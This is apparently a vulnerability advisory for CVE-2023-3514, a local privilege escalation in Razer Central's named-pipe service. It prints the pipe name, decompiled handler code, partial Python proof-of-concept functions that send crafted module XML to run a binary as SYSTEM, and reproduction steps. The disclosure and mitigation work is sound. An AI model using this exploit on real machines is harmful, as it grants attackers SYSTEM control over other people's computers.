Summary
Product | Razer CentralService |
---|---|
Vendor | Razer |
Severity | High - Adversaries may exploit software vulnerabilities to obtain privilege escalation. |
Affected Versions | Razer Central 7.11.0.558 and below |
Tested Versions | Razer Central 7.8.0.381 to 7.11.0.558 |
CVE Identifier | CVE-2023-3514 |
CVSS3.1 Scoring System
Base Score: 7.8 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Metric | Value |
---|---|
Attack Vector (AV) | Local |
Attack Complexity (AC) | Low |
Privileges Required (PR) | low |
User Interaction (UI) | None |
Scope (S) | Unchanged |
Confidentiality (C) | High |
Integrity (I) | High |
Availability (A) | High |
Product Overview
Razer Synapse 3
is a software suite developed by Razer, a leading gaming hardware manufacturer. It serves as a centralized hub for customizing and optimizing Razer peripherals, including keyboards, mice, headsets, and other gaming accessories. With its intuitive user interface, Synapse 3 allows gamers to personalize their devices by creating unique profiles, assigning macros, and fine-tuning settings such as lighting effects and DPI sensitivity. This software provides seamless integration with cloud storage, enabling users to access their personalized configurations from anywhere. With its advanced features and extensive compatibility, Razer Synapse 3 empowers gamers to enhance their gaming experience and gain a competitive edge.
Description of the vulnerability
There is a service named RazerCentralService.exe
installed, which plays a crucial role in managing user information and notifications. Applications establish communication with this service through a namedpipe. However, an unfortunate bug exists in RazerCentralService.exe
, which can potentially enable users with low privileges to execute code as the system. This vulnerability affects computers with the RazerCentralService
installed.
The RazerCentralService.exe
uses NamedPipe
to communicate with other processes.
pipe_name = r'\\.\pipe\{FC828A97-C116-453D-BD88-AD471496E03C}'
The provided code assigns the variable pipe_name
with the name of the currently used pipe, represented as \\.\pipe\{FC828A97-C116-453D-BD88-AD471496E03C}
in this example.
It’s important to note that several services can be accessed via NamedPipe without undergoing appropriate sanitization. This lack of sanitization exposes them to potential security risks.
namespace Razer.ActionService
{
// Token: 0x02000006 RID: 6
public enum RzServiceType
{
// Token: 0x0400001B RID: 27
UpdateManager = 2,
// Token: 0x0400001C RID: 28
AccountManager = 4,
// Token: 0x0400001D RID: 29
Notifications = 5,
// Token: 0x0400001E RID: 30
ActionCenter
}
}
The `UpdateManager`` service provides the following functionalities:
public class UpdateManagerIpcWrapper : UpdateManagerIpcBase, IDisposable
{
// Token: 0x060002AA RID: 682 RVA: 0x00010510 File Offset: 0x0000E710
public UpdateManagerIpcWrapper(IUpdateController controller, IUpdateManager manager, INacServiceClient nacClient)
{
this.m_manager = manager;
this.m_controller = controller;
this.m_nacClient = nacClient;
this.m_controller.UpdatesAvailable += this.FireUpdatesAvailable;
this.m_manager.ProductRegistered += this.FireProductRegistered;
this.m_manager.CheckingForUpdates += this.FireCheckingForUpdates;
this.m_manager.InstallComplete += this.FireInstallComplete;
this.m_manager.DownloadProgress += this.FireDownloadProgress;
this.m_manager.DownloadComplete += this.FireDownloadComplete;
this.m_manager.ModuleInstallStart += this.FireModuleInstallStart;
this.m_manager.InstallProgress += this.FireInstallProgress;
this.m_manager.ModuleDownloadProgress += this.FireModuleDownloadProgress;
this.m_manager.ModuleDownloadComplete += this.FireModuleDownloadComplete;
this.m_manager.OptionalModuleInstallStart += this.FireOptionalModuleInstallStart;
this.m_manager.OptionalModuleInstallComplete += this.FireOptionalModuleInstallComplete;
this.m_manager.OptionalModuleUninstallStart += this.FireOptionalModuleUninstallStart;
this.m_manager.OptionalModuleUninstallComplete += this.FireOptionalModuleUninstallComplete;
manager.EndpointChange += this.FireEndpointChange;
base.RegisterHandler(Commands.AddModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleAddModule));
base.RegisterHandler(Commands.RemoveModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleRemoveModule));
base.RegisterHandler(Commands.Register, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegister));
base.RegisterHandler(Commands.RegisterForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterForUpdates));
base.RegisterHandler(Commands.GetUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetUpdates));
base.RegisterHandler(Commands.GetInstalledOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledOptionalModules));
base.RegisterHandler(Commands.GetAvailableOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetAvailableOptionalModules));
base.RegisterHandler(Commands.GetOptionalModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetOptionalModules));
base.RegisterHandler(Commands.CheckForUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdates));
base.RegisterHandler(Commands.DownloadUpdate, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadUpdate));
base.RegisterHandler(Commands.PauseDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseDownload));
base.RegisterHandler(Commands.PauseModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandlePauseModuleDownload));
base.RegisterHandler(Commands.CancelDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelDownload));
base.RegisterHandler(Commands.CancelModuleDownload, new Func<IRazerSocket, byte[], byte[]>(this.HandleCancelModuleDownload));
base.RegisterHandler(Commands.InstallUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallUpdates));
base.RegisterHandler(Commands.GetInstalledSoftware, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetInstalledSoftware));
base.RegisterHandler(Commands.PostponeUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandlePostponeUpdates));
base.RegisterHandler(Commands.ShowUpdates, new Func<IRazerSocket, byte[], byte[]>(this.HandleShowUpdates));
base.RegisterHandler(Commands.SetIconPath, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetIconPath));
base.RegisterHandler(Commands.InstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleInstallModules));
base.RegisterHandler(Commands.DownloadModule, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadModule));
base.RegisterHandler(Commands.UninstallModules, new Func<IRazerSocket, byte[], byte[]>(this.HandleUninstallModules));
base.RegisterHandler(Commands.GetRegisteredProducts, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredProducts));
base.RegisterHandler(Commands.RegisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleRegisterDevices));
base.RegisterHandler(Commands.UnregisterDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleUnregisterDevices));
base.RegisterHandler(Commands.ClearRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleClearRegisteredDevices));
base.RegisterHandler(Commands.GetRegisteredDevices, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetRegisteredDevices));
base.RegisterHandler(Commands.SetEndpoint, new Func<IRazerSocket, byte[], byte[]>(this.HandleSetEndpoint));
base.RegisterHandler(Commands.GetEndpointDetails, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetails));
base.RegisterHandler(Commands.GetEndpointDetailsEx, new Func<IRazerSocket, byte[], byte[]>(this.HandleGetEndpointDetailsEx));
base.RegisterHandler(Commands.Setting_SetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Set));
base.RegisterHandler(Commands.Setting_GetCheckAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleCheckForUpdatesAutomatically_Get));
base.RegisterHandler(Commands.Setting_SetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Set));
base.RegisterHandler(Commands.Setting_GetDownloadAutomatically, new Func<IRazerSocket, byte[], byte[]>(this.HandleDownloadAutomatically_Get));
base.RegisterHandler(Commands.Setting_SetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Set));
base.RegisterHandler(Commands.Setting_GetUpdateInterval, new Func<IRazerSocket, byte[], byte[]>(this.HandleUpdateInterval_Get));
base.RegisterHandler(Commands.Setting_SetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Set));
base.RegisterHandler(Commands.Setting_GetMaxDownloadSpeed, new Func<IRazerSocket, byte[], byte[]>(this.HandleMaxDownloadSpeed_Get));
base.RegisterHandler(Commands.Event_ModuleInstallStart, new Func<IRazerSocket, byte[], byte[]>(this.RouteModuleInstallStart));
base.RegisterHandler(Commands.Event_ModuleInstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallProgress));
base.RegisterHandler(Commands.Event_InstallComplete, new Func<IRazerSocket, byte[], byte[]>(this.RouteInstallComplete));
}
After thoroughly examining the code, we stumbled upon an interesting revelation: the AddModule
and UninstallModules
commands possess the crucial functionality required for generating a fraudulent module and running our binary with the highly desirable SYSTEM
privilege. These commands have the ability to accept input in xml
formats. By cleverly constructing a malicious xml
input, we can make RazerCentralService.exe
to execute our binary with the mighty SYSTEM
privilege.
def add_module():
product = 'Emily3'
module = 'my_test_module'
version = struct.pack('<IIII', 0x11223344, 0x11223344, 0x11223344, 0x11223344)
update_module = '''
<a>
<Module>
<AdminPrivilegeRequired>1</AdminPrivilegeRequired>
<SynapseRestartRequired>0</SynapseRestartRequired>
<Description>desc</Description>
<Name>my_test_module</Name>
<DisplayName>my_test_module</DisplayName>
<FileName>D:\\test.exe</FileName>
<Visible>1</Visible>
<IconPath>C:\\ProgramData\\Razer\\Razer Central\\Update\\GameBooster2\\AppIcon.ico</IconPath>
<LaunchFilePath>D:\\test.exe</LaunchFilePath>
<DownloadURL>http://127.0.0.1</DownloadURL>
<UninstallFilePath>C:\\Windows\\System32\\notepad.exe</UninstallFilePath>
</Module>
</a>
'''
def uninstall_modules():
product = 'Emily3'
modules = '''
<a>
<String>my_test_module</String>
</a>
'''
data = serialize_string(product)
data += serialize_string(modules)
p = create_message(UpdateManager, UninstallModules, data)
send_packet(p)
Here is a proof of concept (POC) written in Python 2 that you can use to execute notepad.exe
as the SYSTEM
user. Simply run the POC code provided here.
Reproduction Steps
For simplicity, follow the following steps to re-produce.
- Install the Razer software.
- Install Python 2 and the necessary Python modules.
- Log in and wait for 3-5 minutes to ensure that the directory at
C:\ProgramData\Razer\Razer Central\Accounts
exists. - Execute the exploit script using Python 2.
Conclusion
In summary, relying on an encrypted file with a hardcoded key is not a dependable security measure. When operating as the SYSTEM
user, it is crucial to exercise prudence in your actions. To tackle this problem, consider implementing the following measures:
- Verify that the NamedPipe has the appropriate permissions configured.
- Sanitize any untrusted input originating from the NamedPipe to prevent potential vulnerabilities.
Credits
Phan Thanh Duy (@PTDuy) of STAR Labs SG Pte. Ltd. (@starlabs_sg)